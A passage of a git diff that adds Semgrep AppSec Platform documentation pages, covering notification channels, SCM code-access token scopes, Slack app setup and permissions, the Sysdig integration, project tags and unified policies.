+ "security"
+ ]
+ },
+ "shortDescription": {
+ "text": "Semgrep Finding: ssc-parity-0ddf890152a281f12fd6d01c3953da8d88ce2e7b"
+ }
+ },
+ ],
+ "semanticVersion": "1.122.0"
+ }
+ }
+ }
+ ],
+ "$schema": "https://docs.oasis-open.org/sarif/sarif/v2.1.0/os/schemas/sarif-schema-2.1.0.json"
+}
+```
diff --git a/mintlify-docs/semgrep-appsec-platform/notifications.mdx b/mintlify-docs/semgrep-appsec-platform/notifications.mdx
new file mode 100644
index 0000000000..02a2aeda4e
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/notifications.mdx
@@ -0,0 +1,53 @@
+---
+title: "Alerts and notifications"
+sidebarTitle: "Notifications"
+description: "You can receive notifications for Semgrep findings in the following channels:"
+---
+
+
+| Channel | Semgrep Code | Semgrep Supply Chain | Semgrep Secrets |
+| :--- | :--- | :--- | :--- |
+| [Slack](/semgrep-appsec-platform/slack-notifications) | Integrate with Semgrep through **Settings > Integrations**. Customize through rule modes in [Policies page](/semgrep-code/policies). | Integrate with Semgrep through **Settings > Integrations**. Limited customizability; configured by default to send notifications on **reachable** findings | Integrate with Semgrep through **Settings > Integrations**. Customize through policies in [Policies page](/semgrep-secrets/policies) |
+| [Email](/semgrep-appsec-platform/email-notifications) | Integrate with Semgrep through **Settings > Integrations**. Customize through rule modes in [Policies page](/semgrep-code/policies). | Not available | Not available |
+| [Webhooks](/semgrep-appsec-platform/webhooks) | Integrate with Semgrep through **Settings > Integrations**. Customize through rule modes in [Policies page](/semgrep-code/policies). | Not available | Not available |
+
+Setting up notifications involves the following steps:
+
+
+
+Integrating the notification channel, such as Slack, with Semgrep.
+
+
+Customizing the conditions under which a notification is sent to that channel. Available conditions and how they are set up varies depending on the Semgrep product; see the following table.
+
+
+
+Semgrep Code **rule modes** define workflow actions (**Monitor**, **Comment**, or **Block**) that Semgrep Code performs when a rule detects a finding. In addition to these workflow actions, you can also configure Semgrep to send notifications on any rule mode.
+
+
+
+| Rule mode | Description |
+| :--- | :--- |
+| Monitor | Rules in **Monitor mode** display findings only in: • Semgrep AppSec Platform • For Semgrep Code and Supply Chain: User-defined notifications
Set rules to this mode to evaluate their true positive rate and other criteria you may have. By keeping rules in Monitor, developers do not receive potentially noisy findings in their PRs or MRs. |
+| Comment | Rules in **Comment mode** display findings in: • Developers' PRs or MRs • Semgrep AppSec Platform • **For Semgrep Code and Supply Chain:** User-defined notifications
Set rules that have met your performance criteria to this mode when you are ready to display findings to developers. |
+| Block | Rules in **Block mode** cause the scan job to fail with an exit code of `1` if Semgrep Secrets detects a finding from these rules. You can use this result to enforce a block on the PR or MR. For example, GitHub users can enable branch protection and set the PR to fail if the Semgrep step fails.
These rules display findings in: • Developers' PRs or MRs • Semgrep AppSec Platform • **For Semgrep Code and Supply Chain:** User-defined notifications
These are typically high-confidence, high-severity rules. |
+
+
+
+## View integrations
+
+To view all integrations available to you in Semgrep AppSec Platform, follow these steps:
+
+
+
+Sign in to your [Semgrep AppSec Platform ](https://semgrep.dev/orgs/-/settings/integrations) account.
+
+
+Click **Settings > Integrations > Add**.
+
+
+
+
+## Next steps
+
+Refer to the specific documentation page for the notification channel you want to set up.
diff --git a/mintlify-docs/semgrep-appsec-platform/scm-code-access.mdx b/mintlify-docs/semgrep-appsec-platform/scm-code-access.mdx
new file mode 100644
index 0000000000..0a036ee16c
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/scm-code-access.mdx
@@ -0,0 +1,183 @@
+---
+title: "Enable source code manager code access"
+---
+
+Some Semgrep features require additional levels of code access. You can grant these permissions to Semgrep by assigning additional scopes to the access token that facilitates communication between Semgrep and the source code manager (SCM). The following table shows the minimum scope needed to enable the required code access level.
+
+#### Required SCM code access scopes
+
+| SCM | Read access scope | Write access scope |
+| :--- | :--- | :--- |
+| Azure DevOps | `code:read` | `code:write` |
+| Bitbucket Cloud | `repository:read` `pullrequest:read` | `repository:write` `pullrequest:write` |
+| Bitbucket Data Center | `repository:read` | `repository:write` |
+| GitHub.com and Github Enterprise | `contents:read` | `contents:write` |
+| GitLab and Gitlab Self-Managed | `read_repository` | `write_repository` |
+
+## Grant code access to Semgrep with a private GitHub app
+
+If you already have a private Semgrep GitHub app set up and configured for your deployment that **doesn't** have code access enabled, follow these steps to update the app and grant code access to Semgrep.
+
+
+**APP SLUG**
+
+To find the name of your app slug:
+1. Go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
+2. Find the panel for your source code manager. The app slug is listed immediately following the name of the source code manager.
+
+
+
+
+Navigate to the GitHub Application permissions and events page. GitHub Enterprise users must replace the `https://github.com` base URL with the base URL of the GitHub Enterprise instance.
+ i. For organization accounts, go to https://github.com/organizations/ORGANIZATION_NAME/settings/apps/APP_SLUG/permissions.
+ ii. For user accounts, go to https://github.com/settings/apps/APP_SLUG/permissions
+
+
+Expand **Repository Permissions**.
+
+
+Under **Contents**, change the access level to **Read and write**. If you don't want to grant write permissions, change the access level to **Read**.
+
+
+Click **Save Changes**.
+
+
+At this point, GitHub sends you or your GitHub admin an email to approve the permissions changes. Once approved, Semgrep has code access to your GitHub instance.
+
+
+
+
+## Grant code access to Semgrep with an access token
+
+If you onboarded your repositories using an access token, then you can follow these steps to grant code access to Semgrep.
+
+
+
+
+
+Navigate to the Azure DevDps access token settings page: https://dev.azure.com/ORGANIZATION_NAME/_usersSettings/tokens.
+
+
+Click **New token** to launch the **Create a new personal access token** dialog. Ensure that you assign the `Code: Read` and `Code: Write` scopes to the token, in addition to [any other scopes you may need](/deployment/managed-scanning/azure#prerequisites-and-permissions) for other features you've enabled for your Semgrep deployment. Create the token, and copy its value.
+
+
+Return to Semgrep AppSec Platform, and go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
+
+
+Find the connection associated with your organization, and click **Update access token**.
+
+
+Paste in your new access token.
+
+
+Click **Save**.
+
+
+
+
+
+
+
+
+Navigate to the Bitbucket Cloud access token settings page: https://bitbucket.org/WORKSPACE/workspace/settings/access-keys.
+
+
+Create a new access token and ensure that you assign the `repository:read`, `pullrequest:read`, `repository:write`, and `pullrequest:write` scopes to the token, in addition to [any other scopes you may need](/deployment/managed-scanning/bitbucket#bitbucket-cloud) for other features you've enabled for your Semgrep deployment. Create the token, and copy the token's value.
+
+
+Return to Semgrep AppSec Platform, and go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
+
+
+Find the Bitbucket connection associated with your workspace, and click **Update access token**.
+
+
+Paste in your new access token.
+
+
+Click **Save**.
+
+
+
+
+
+
+
+
+Navigate to the Bitbucket Data Center access token settings page: BITBUCKET_BASE_URL/plugins/servlet/access-tokens/projects/PROJECT.
+
+
+Create a new HTTP access token, ensuring that you assign the `repository:read` and `repository:write` scopes to the token, along with [any other scopes or permissions you may need](/deployment/managed-scanning/bitbucket#bitbucket-data-center) for other features you've enabled for your Semgrep deployment. Copy the token's value.
+
+
+Return to Semgrep AppSec Platform, and go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
+
+
+Find the Bitbucket connection associated with your workspace, and click **Update access token**.
+
+
+Paste in your new access token.
+
+
+Click **Save**.
+
+
+
+
+
+
+
+
+Navigate to the GitHub personal access token settings page: `https://github.com/settings/personal-access-tokens`. GitHub Enterprise users must replace the `https://github.com` base URL with the base URL of the GitHub Enterprise instance.
+
+
+Click **Generate new token**.
+
+
+Under **Repository access**, select either **All repositories** or **Only select repositories**. If you choose **Only select repositories**, select the repositories that this token is used with.
+
+
+Under **Contents**, set the access level to **Read and write**.
+
+
+Click **Generate token** and copy its value.
+
+
+Return to Semgrep AppSec Platform, and go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
+
+
+Find the GitHub connection associated with your org, and click **Update access token**.
+
+
+Paste in your new access token.
+
+
+Click **Save**.
+
+
+
+
+
+
+
+
+Navigate to the GitLab access token settings page: https://gitlab.com/groups/GROUP/-/settings/access_tokens.
+
+
+Create a new access token, ensuring that you add the `read_repository` and `write_repository` scopes, along with [any other scopes or permissions you may need](/deployment/managed-scanning/gitlab#prerequisites-and-permissions) for other features you've enabled for your Semgrep deployment. Copy the token's value. Copy the token's value.
+
+
+Return to Semgrep AppSec Platform, and go to [**Settings > Source code managers**](https://semgrep.dev/orgs/-/settings/source-code).
+
+
+Find the GitLab connection associated with your group, and click **Update access token**.
+
+
+Paste in your new access token.
+
+
+Click **Save**.
+
+
+
+
+
diff --git a/mintlify-docs/semgrep-appsec-platform/semgrep-api.mdx b/mintlify-docs/semgrep-appsec-platform/semgrep-api.mdx
new file mode 100644
index 0000000000..8006824830
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/semgrep-api.mdx
@@ -0,0 +1,7 @@
+---
+title: "Semgrep API"
+---
+
+Semgrep AppSec Platform provides an API that enables you to list deployments, gather findings created by Semgrep AppSec Platform, and list projects. The API documentation uses the OpenAPI format. The API requires a [Team or Enterprise tier account](https://semgrep.dev/pricing/), with the subsequent API token provisioned in your settings.
+
+See the **[API documentation](https://semgrep.dev/api/v1/)** of Semgrep AppSec Platform for full reference information.
diff --git a/mintlify-docs/semgrep-appsec-platform/slack-notifications.mdx b/mintlify-docs/semgrep-appsec-platform/slack-notifications.mdx
new file mode 100644
index 0000000000..62017274b7
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/slack-notifications.mdx
@@ -0,0 +1,293 @@
+---
+title: "Receive Slack notifications"
+sidebarTitle: "Slack"
+---
+
+The Semgrep Slack app enables Semgrep AppSec Platform to notify you of new findings after every scan. By receiving notifications within your Slack workspace, developers and security engineers can see findings without switching environments. This can lessen the friction between detecting a finding, triaging it, and resolving it.
+
+You can select the channels in your Slack workspace that receive finding notifications. You can also choose to receive notifications only for certain repositories (projects) or **Rule Modes**.
+
+Semgrep Code supports Policy-based filters for notifications. For example, you can choose to receive notifications only for findings generated by rules from the Blocking Rule Mode.
+
+## Install the Semgrep Slack App
+
+
+**PREREQUISITES**
+
+* You must be a Slack **Workspace Owner** to set up the Semgrep Slack app.
+* **Single-tenant Semgrep AppSec Platform**: Reach out to your Technical Account Manager (TAM) to ensure your instance has been configured for the Semgrep Slack app.
+
+
+To install the Semgrep Slack app, follow these steps:
+
+
+
+ In [Semgrep AppSec Platform](https://semgrep.dev/login), go to **Settings > [Integrations](https://semgrep.dev/orgs/-/settings/integrations)**.
+
+
+ On the **[Integrations](https://semgrep.dev/orgs/-/settings/integrations)** page, click **Add** (or **Setup First Integration** if this is your first integration), and then select **Slack**.
+
+
+ Click **Allow**.
+
+
+
+## Set up notifications for findings in Slack
+
+
+### Code and Supply Chain
+
+To set up or subscribe to notifications for findings in your Slack workspace, perform the following steps:
+
+
+
+ In your Slack workspace, find or create a channel for Semgrep notifications.
+ * If you use a private channel for notifications, first invite the Semgrep app by entering the command `/invite @Semgrep` in the channel. If the app is not invited to a private channel, it cannot send notifications there.
+
+
+ In the selected Slack channel, enter the following command: `/semgrep_subscribe`.
+
+
+ Optional: Enter the name of a specific project after `/semgrep_subscribe` to receive findings for that specific project only. The project must be entered as it is shown in Semgrep AppSec Platform, typically:
+
+ /semgrep_subscribe ACCOUNT_NAME/REPOSITORY_NAME
+
+
+ Choose an organization in the list under **Select target organization**. The dialog box expands with additional options.
+
+
+ Optional: Set up additional filters.
+ - For users receiving both Semgrep Code and Semgrep Supply Chain findings: Use **Target scan** type to choose whether to receive notifications for Semgrep Code, Semgrep Supply Chain, or both.
+ - For Semgrep Code users only: In the **Selected Policies** field, choose the specific policies you want to receive findings for. By default, all policies are selected, including **Monitor policy**, which may result in a higher volume of notifications.
+
+
+ Click **Subscribe**. If you did not specify a project after `/semgrep_subscribe`, the channel is subscribed to findings from all your projects in Semgrep AppSec Platform.
+
+
+ Optional: To set up Slack notifications for additional workspaces, repeat steps 1 to 6. The Semgrep Slack integration is set up on a per-workspace basis.
+
+
+
+You have successfully set up notifications for Semgrep findings. The Semgrep Slack app reports new findings after every scan but does not report findings that were previously discovered.
+
+
+**SUGGESTED WORKFLOW**
+
+In your Slack workspace, create separate channels for either policies, repositories (projects), or types of findings depending on your business or development need. This ensures that developers receive only findings that are relevant to them.
+
+
+
+### Secrets
+
+To set up or subscribe to notifications for findings in your Slack workspace, perform the following steps:
+
+
+
+ In your Slack workspace, find or create a channel for Semgrep notifications.
+ * If you use a private channel for notifications, first invite the Semgrep app by entering the command `/invite @Semgrep` in the channel. If the app is not invited to a private channel, it cannot send notifications there.
+
+
+ In the selected Slack channel, enter the following command: `/semgrep_subscribe_secrets`.
+
+
+ Choose an organization in the list under **Select target organization**.
+
+
+ Click **Subscribe**. You can now configure Semgrep Secrets notifications for this channel.
+
+
+ This channel is now ready to receive Semgrep Secrets notifications. To configure when notifications are sent, create a [**Semgrep Secrets policy**](/semgrep-secrets/policies#slack-notification-policies).
+
+
+ Optional: To set up Slack notifications for additional workspaces, repeat steps 1 to The Semgrep Slack integration is set up on a per-workspace basis.
+
+
+
+
+## Remove notifications for findings in Slack
+
+**NOTE**
+
+This operation removes or unsubscribes a channel from notifications. To uninstall the Semgrep Slack App, refer to [Uninstall the Semgrep Slack App](#uninstall-the-semgrep-slack-app).
+
+
+### Code and Supply Chain
+To remove or unsubscribe to notifications:
+
+
+
+ In Slack, enter the channel that you want to unsubscribe from Semgrep findings.
+
+
+ Type `/semgrep_unsubscribe`.
+
+
+ Select the target organization to unsubscribe from.
+
+
+ Click **Unsubscribe**.
+
+
+
+You have unsubscribed from Semgrep finding notifications for that particular channel.
+
+
+### Secrets
+To remove notifications:
+
+
+ From the Secrets policies tab, click the **three-dot(...) button > Edit policy** for the policies that trigger notifications in this channel.
+
+
+ Unselect the desired channels from the policy.
+
+
+ Click **Save changes**.
+
+
+
+To unsubscribe a channel:
+
+
+
+ In Slack, enter the channel that you want to unsubscribe from Semgrep Secrets findings.
+
+
+ Type `/semgrep_unsubscribe_secrets`.
+
+
+ Select the target organization to unsubscribe from.
+
+
+ Click **Unsubscribe**.
+
+
+
+Unsubscribing removes this channel from your list of available channels for all Semgrep Secrets policies. You will no longer be able to create policies using this channel, and it will be removed from existing policies, stopping all notifications to this channel.
+
+## Notification and alert de-duplication
+
+Notifications are sent only the first time a given finding is detected.
+
+When running a diff-aware scan, Semgrep doesn't notify you when a pull request has a finding that existed on the base branch already, even if that line is moved or re-indented.
+
+Semgrep also tracks notifications that have already been sent, so subsequent scans of the same changes in a pull request won't result in duplicate notifications.
+
+
+**NOTE**
+
+See [Findings in CI](/semgrep-ci/findings-ci) for more information about how Semgrep tracks a finding through its lifetime.
+
+
+## Uninstall the Semgrep Slack App
+
+
+**CAUTION**
+
+This removes **all** Semgrep notifications in **all** channels in your Slack workspace.
+
+
+
+
+ In [Semgrep AppSec Platform](https://semgrep.dev/login), go to **Settings > [Integrations](https://semgrep.dev/orgs/-/settings/integrations)**.
+
+
+ On the **[Integrations](https://semgrep.dev/orgs/-/settings/integrations)** page, find the Slack integration you want to remove.
+
+
+ Expand the **Channels receiving Semgrep notifications** section and review the channels receiving notifications.
+
+
+ In the related channels in your Slack workspace, use the `/semgrep_unsubscribe` command to unsubscribe from those notifications.
+
+
+ After completing this step for all channels, click **Remove integration** > **Remove**.
+
+
+
+## Troubleshooting
+
+### Not receiving any findings
+
+The following list describes possible ways to troubleshoot findings not appearing in your Slack workspace:
+
+* Check if you have successfully set up your notifications.
+* Check if your most recent scan has findings to send.
+* Check your filters.
+* Check if the channel is private. You must add the Semgrep Slack App to any private channel to subscribe to notifications in that channel.
+
+### Check notifications
+
+To check that your notifications are set up, you can review notifications in two places:
+
+* On the **[Integrations](https://semgrep.dev/orgs/-/settings/integrations)** page, locate your Slack integration and expand **Channels receiving Semgrep notifications**.
+* In your Slack workspace, click **Semgrep** under **Apps** in the Slack sidebar and review the channels under **Notifications are being sent to the following channels.**
+ - To send a test notification to a channel in this list, click the **three-dot menu** > **Send Test Notification**.
+
+### Check your filters
+
+If you have set up any filter, such as filtering for a specific policy or project, all conditions of that filter must be present for the notification to be sent. Review your filters by following the steps in [Changing Slack notification settings](#change-slack-notification-settings).
+
+### Permissions not up-to-date
+
+You may receive a message from Semgrep Slack app stating that your token does not have up-to-date permissions. Clicking the link provided in the message to update the permissions typically resolves this issue.
+
+However, if after updating the token, you still receive the same message, perform the following steps to revoke and refresh your access token:
+
+
+
+ In your Slack workspace, click **Semgrep** under **Apps** in the Slack sidebar.
+
+
+ Click Uninstall. This revokes your token.
+
+
+ Go to Semgrep AppSec Platform > Settings > Integrations.
+
+
+ Find the Slack entry for the workspace you revoked in step 2 and click **Refresh Token**.
+
+
+ Follow the steps in the authentication flow to complete the token refresh.
+
+
+
+You have refreshed your access token and updated your permissions.
+
+### Fixing `dispatch_failed` error
+
+There are many possible causes for this error. Try the following fixes:
+
+* Re-enter your last command or operation after a few minutes.
+* Uninstall, and then reinstall your Semgrep Slack integration.
+
+### Fixing `operation_timeout` error
+
+This error occasionally appears due to connection or service issues. To fix this issue, retry your last command or operation after a few minutes.
+
+## Slack permissions
+
+The following table describes the purpose for each permission required to use the Semgrep Slack app.
+
+| Permission | Slack description | Purpose |
+| :--- | :--- | :--- |
+| **[app_mentions:read](https://api.slack.com/scopes/app_mentions:read)** | View messages that directly mention @Semgrep in conversations that the app is in. | Enables the Semgrep Slack app to respond when users mention it in the chat. |
+| **[channels:read](https://api.slack.com/scopes/channels:read)** | View basic information about public channels in a workspace. | Basic channel information such as channel_id is used to ensure that Semgrep findings (results) are sent to the appropriate channel. |
+| **[chat:write](https://api.slack.com/scopes/chat:write)** | Send messages as @Semgrep. | Enables the Semgrep Slack app to send findings to channels. |
+| **[chat:write.customize](https://api.slack.com/scopes/chat:write.customize)** | Send messages as @Semgrep with a customized username and avatar. | Helps users identify Semgrep Slack app messages through the use of an image and username. |
+| **[chat:write.public](https://api.slack.com/scopes/chat:write.public)** | Send messages to channels @Semgrep isn't a member of. | Enables users to invoke Semgrep Slack app features in any public channel using the slash command. |
+| **[commands](https://api.slack.com/scopes/commands)** | Add shortcuts or slash commands that people can use. | Enables the Semgrep Slack app to register custom slash commands such as /semgrep_subscribe used for notification subscription. |
+| **[emoji:read](https://api.slack.com/scopes/emoji:read)** | View custom emoji in a workspace. | Allows Semgrep to support a workspace's custom emojis. |
+| **[im:write](https://api.slack.com/scopes/im:write)** | Start direct messages with people. | Allows users to interact with the Semgrep Slack app and use the slash commands in direct messages. |
+| **[links:write](https://api.slack.com/scopes/links:write)** | Show previews of URLs in messages. | Enables Semgrep Slack app to include links in messages. |
+| **[users:read](https://api.slack.com/scopes/users:read)** | View profile details about people in a workspace. | Enables Semgrep Slack app to correctly address users in messages. |
+| **[users:write](https://api.slack.com/scopes/users:write)** | Set presence for Semgrep. | Used by the Semgrep Slack app to interact with the workspace and enables users to add the Semgrep Slack app to relevant channels. |
+| **[workflow.steps:execute](https://api.slack.com/scopes/workflow.steps:execute)** | Add steps that people can use in Workflow Builder. | Enables Semgrep to make use of modals and drop-down boxes when a user creates or updates their notifications. |
+| **[groups:read](https://api.slack.com/scopes/groups:read)** | View basic information about private channels that your Slack app has been added to. | Semgrep Slack app uses channels_id_changed to update its notifications configuration if the channel that receives findings is updated. This ensures that you are able to receive findings ever renaming a channel. |
+| **[team:read](https://api.slack.com/scopes/team:read)** | View the name, email domain, and icon for workspaces your slack app is connected to. | Semgrep Slack app uses team_name_changed to update its notifications configuration if the team name is updated. This ensures that you are able to receive findings notifications even after renaming your team. |
+| **[channels:read](https://api.slack.com/scopes/channels:read)** | View basic information about public channels in a workspace. | Enables Semgrep Slack app to monitor if channels that receive Semgrep findings have been deleted or archived. |
+
+#### Additional resources
+
+* https://api.slack.com/apps
+* https://api.slack.com/messaging/webhooks#enable_webhooks
diff --git a/mintlify-docs/semgrep-appsec-platform/sysdig.mdx b/mintlify-docs/semgrep-appsec-platform/sysdig.mdx
new file mode 100644
index 0000000000..5085b53903
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/sysdig.mdx
@@ -0,0 +1,70 @@
+---
+title: "View runtime context from Sysdig"
+sidebarTitle: "Sysdig"
+description: "The Semgrep Sysdig integration can ingest runtime context from your Sysdig account into Semgrep AppSec Platform. This allows you to prioritize findings based on deployment status."
+---
+
+## Prerequisites
+
+Before proceeding, ensure that:
+
+- You have a license for **Semgrep Supply Chain**
+- You have the following tools and integrations set up in your Sysdig account:
+ - [ Sysdig Secure](https://docs.sysdig.com/en/sysdig-secure/)
+ - [ Sysdig Shield](https://docs.sysdig.com/en/sysdig-secure/install-shield-kubernetes/), [ Host Shield](https://docs.sysdig.com/en/sysdig-secure/install-host-shield/), or [ Agentless Scanning](https://docs.sysdig.com/en/sysdig-secure/scanning-usecases/#agentless-host-scanning-tech-preview)
+ - The [ Semgrep Sysdig integration](https://docs.sysdig.com/en/sysdig-secure/integrations-for-sysdig-secure/software-composition-analysis/#semgrep)
+ - Ensure that you've [ completed the steps to link source to runtime by adding a Docker label](https://docs.sysdig.com/en/sysdig-secure/integrations-for-sysdig-secure/software-composition-analysis/#prerequisite-linking-source-to-runtime)
+- You have set up a connection between [Semgrep and your source code manager (SCM)](/deployment/connect-scm).
+
+## Enable the Sysdig integration
+
+
+
+Sign in to [Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Navigate to [**Settings > Integrations**](https://semgrep.dev/orgs/-/settings/integrations).
+
+
+Click **+ Add > Sysdig**.
+
+
+In the dialog that appears, provide the following information:
+
+ i. **URL**: The Sysdig Platform URL for your account.
+
+ ii. **API token**: The Sysdig API token associated with your account. See [ Retrieve the Sysdig API Token](https://docs.sysdig.com/en/administration/retrieve-the-sysdig-api-token/) for more information on how to retrieve your token.
+
+
+Click **Connect**.
+
+
+Within several hours, you should see the **Deployment** status for each project on the project's settings page.
+
+
+## Limitations
+
+- Each Semgrep deployment can only have **one Sysdig integration**.
+- The runtime context data is only synced for Semgrep projects that:
+ - Are connected to SCMs
+ - Have been scanned within the previous 30 days
+ - Have Supply Chain findings
+- The integration syncs your data every 24 hours, but it may take up to 1 day for Semgrep to reflect any changes to your repositories and infrastructure.
+
+
+## Troubleshooting
+
+### If you see a **Connection Error** message under your Sysdig integration
+
+If you see the **Connection Error** message under your Sysdig integration, there was an issue establishing a connection or running a sync job for a provider you have connected. Check your connection settings to verify that your configuration is correct.
+
+If the connection settings are correct, [contact Support](/support) for further assistance.
+
+### If you're not seeing data in your project settings page
+
+If you're not seeing data for your project in the project settings page:
+
+- Wait for one day for your data to sync.
+- Confirm that an image of the project has been deployed in your infrastructure that Sysdig has access to
+- If, after one day, you're still not seeing data, ensure that you meet the integration's prerequisites.
+- If, after one day, you meet the integration's prerequisites and confirmed deployment, [contact Support](/support) for further assistance.
diff --git a/mintlify-docs/semgrep-appsec-platform/tags.mdx b/mintlify-docs/semgrep-appsec-platform/tags.mdx
new file mode 100644
index 0000000000..b5b74ffaed
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/tags.mdx
@@ -0,0 +1,68 @@
+---
+title: "Tag projects"
+description: "
+Tagging enables you to group projects together based on your organization's unique business structure or needs. By tagging projects, you are able to quickly apply Supply Chain policies and other Semgrep features to specific groups."
+---
+
+Add tags for specific projects in the Semgrep AppSec Platform through the following methods:
+
+* Set tags through the **Semgrep AppSec Platform > Projects > Project details** page.
+* Set tags using the Semgrep AppSec Platform API.
+* Set tags in your repository's `.semgrepconfig.yml` file.
+
+
+**SETTING TAGS**
+
+* Keep in mind, when setting tags via the `.semgrepconfig.yml` file or Semgrep AppSec Platform API, that these actions **supersede** any tags previously set.
+* For example, if you set tags through the API and subsequently run a CI scan, then the previous tags set by the API will be overwritten by any tag definitions in the `.semgrepconfig.yml` file of the repository.
+* For this reason, the Semgrep team recommends exclusively choosing either the API or `.semgrepconfig.yml` file to manage and set tags. **Do not use a mix of the two.**
+
+
+## Set tags through Semgrep AppSec Platform and the API
+
+To manage tags through Semgrep AppSec Platform, follow these steps:
+
+
+
+Go to the Semgrep AppSec Platform [Projects](https://semgrep.dev/orgs/-/projects) page.
+
+
+Find the project you want to modify, then click its ** icon** under **Details**.
+
+
+Click the **Settings** tab.
+
+
+Add or remove tags under the **Tags** section.
+
+
+Click **Save**.
+
+
+
+Refer to [Semgrep API documentation](https://semgrep.dev/api/v1/#tag/ProjectsService/operation/ProjectsService_AddProjectTags) to use the API.
+
+## Set tags in `.semgrepconfig.yml`
+
+You can also add tags through a specific file added to your repository. To do so, follow the instructions below:
+
+
+
+Create `.semgrepconfig.yml` file in the root directory of your repository.
+
+
+Add tags to the `.semgrepconfig.yml` file. Example of tags added to `.semgrepconfig.yml` file:
+
+ ```yaml
+ tags:
+ - favourite
+ - awesomeproject
+ ```
+
+
+
+
+**CAUTION**
+
+Changes to tags made through the `.semgrepconfig.yml` file are also visible in the **Semgrep AppSec Platform > Projects** page, however, the inverse is **not** true (changes in Semgrep AppSec Platform > Projects page will be overwritten by `.semgrepconfig.yml`.)
+
diff --git a/mintlify-docs/semgrep-appsec-platform/ticketing.mdx b/mintlify-docs/semgrep-appsec-platform/ticketing.mdx
new file mode 100644
index 0000000000..9a04092d53
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/ticketing.mdx
@@ -0,0 +1,13 @@
+---
+title: "Ticketing Integrations"
+description: "Send tickets to third-party ticketing systems through Semgrep AppSec Platform."
+---
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-appsec-platform/unified-policies/get-started.mdx b/mintlify-docs/semgrep-appsec-platform/unified-policies/get-started.mdx
new file mode 100644
index 0000000000..69afa0af39
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/unified-policies/get-started.mdx
@@ -0,0 +1,111 @@
+---
+title: "Create and manage unified policies"
+---
+
+This document explains how to migrate existing policies to [unified policies](/semgrep-appsec-platform/unified-policies/overview), as well as how to create new unified policies.
+
+## Migrate existing policies
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+
+Go to **Rules & Policies > Policies**. You will see a banner that prompts you to begin the upgrade to unified policies. Click to launch the **Upgrade to Unified Policies** dialog, and follow the on-screen prompts to proceed.
+
+
+
+Review the policies that Semgrep has migrated for you. For each product where you have existing policies, select the **I have reviewed these migration details** checkbox to proceed.
+
+
+
+When you have completed the migration process, you are redirected to the new **Policies** page, where you can manage your detection and remediation policies.
+
+
+
+
+## Manage existing detection policies
+
+
+
+Sign in to [ Semgrep AppSec Platform](https://semgrep.dev/login).
+
+
+Go to **Rules & Policies > Detection**. You can manage your policies for:
+ - Code rules
+ - Secrets rules
+ - Supply Chain advisories
+
+
+Select the product for which you’d like to manage your Detection policy, and click **Edit**.
+
+
+Find the rules and rulesets you’d like to modify. Filters allow you to narrow the list of rules based on scanning behaviors, languages, rulesets, and more. You can also search for a rule using its name or label.
+
+
+To change the behavior of your rules:
+ i. Select the rules by clicking the checkboxes next to their names, then click **Change scanning behavior (n)**. If you're modifying only one rule, you can click the rule’s link in the **Projects scanning** column.
+ ii. The **Projects scanning** dialog appears. You can choose to use the rules with **All projects**, **Selected projects** by **Project name**, **Selected projects** by **Tags**, **All with exceptions**, or **None (disable)**.
+ iii. To use the rules with all of your projects, click **All projects**, then click **Save**.
+ iv. To use the rules with some of your projects, click **Selected projects**, then click the checkboxes next to the projects to which the rule applies. Click **Save** to proceed.
+ v. To exclude specific projects, click **All with exceptions**, then select the projects to which the rule doesn’t apply. Click **Save** to proceed.
+ vi. To prevent the rules from being used at all, click **None (Disable)**, then **Save** to proceed.
+
+
+
+## Create a remediation policy
+
+
+
+Sign in to Semgrep AppSec Platform.
+
+
+Go to **Rules & Policies > Remediation**.
+
+
+To create a policy that defines the automated responses to security findings:
+ i. Click **+ Create automation**.
+ ii. Provide a **Policy name**.
+ iii. Set the **Scope** of the policy by selecting all of the projects to which this policy applies.
+ iv. Define the **Conditions** that trigger the policy by clicking **+ Add condition** to expand a drop-down list of attributes that you can use. Select the attribute, then set the specific conditions.
+ - For example, you can select **Severity**, then complete the conditional statement provided to read **When Severity is any of Critical, High**.
+ - You can define as many conditions as necessary, and Semgrep treats them additively.
+
+ v. Choose the **Actions** that occur if there are findings that trigger the policy by clicking **+ Add action**. You can choose multiple **Actions**, including:
+
+
+
+
+
+
+
+
+ vi. Click **Create & Enable** to save and proceed, so that Semgrep uses your new policy the next time you scan a project within its scope. Otherwise, click **Create** to save your changes without enabling the policy.
+
+
\ No newline at end of file
diff --git a/mintlify-docs/semgrep-appsec-platform/unified-policies/overview.mdx b/mintlify-docs/semgrep-appsec-platform/unified-policies/overview.mdx
new file mode 100644
index 0000000000..c46cb4b161
--- /dev/null
+++ b/mintlify-docs/semgrep-appsec-platform/unified-policies/overview.mdx
@@ -0,0 +1,52 @@
+---
+title: "Unified policies (beta)"
+---
+
+Unified policies allow you to choose the rules and rulesets used for Semgrep scans and define what happens to a finding after identification, such as whether a finding is monitored, generates a pull request (PR) or merge request (MR) comment, or blocks a PR or MR. With unified policies, there are two types of policy definitions available to you:
+
+- **Detection policies**, which determine what rules are used to scan your project.
+- **Remediation policies**, which determine what happens to the findings identified by Semgrep. These actions can include leaving PR/MR comments, blocking the PRs/MRs, creating Jira tickets, sending Slack notifications, and more.
+
+## A comparison of legacy behavior versus the new behavior
+
+Previously, you were able to [define Policies](/semgrep-code/policies) for each Semgrep product on a rule-by-rule basis. For each rule, you could determine whether findings identified based on that rule would be **monitored**, where the findings are only sent to Semgrep AppSec Platform for review, **generate a PR or MR comment**, or **block a PR or MR from being merged**:
+
+| **Rule A** | Monitor |
+| :--- | :--- |
+| **Rule B** | Comment |
+| **Rule C** | Block |
+| **Rule D** | Block |
+
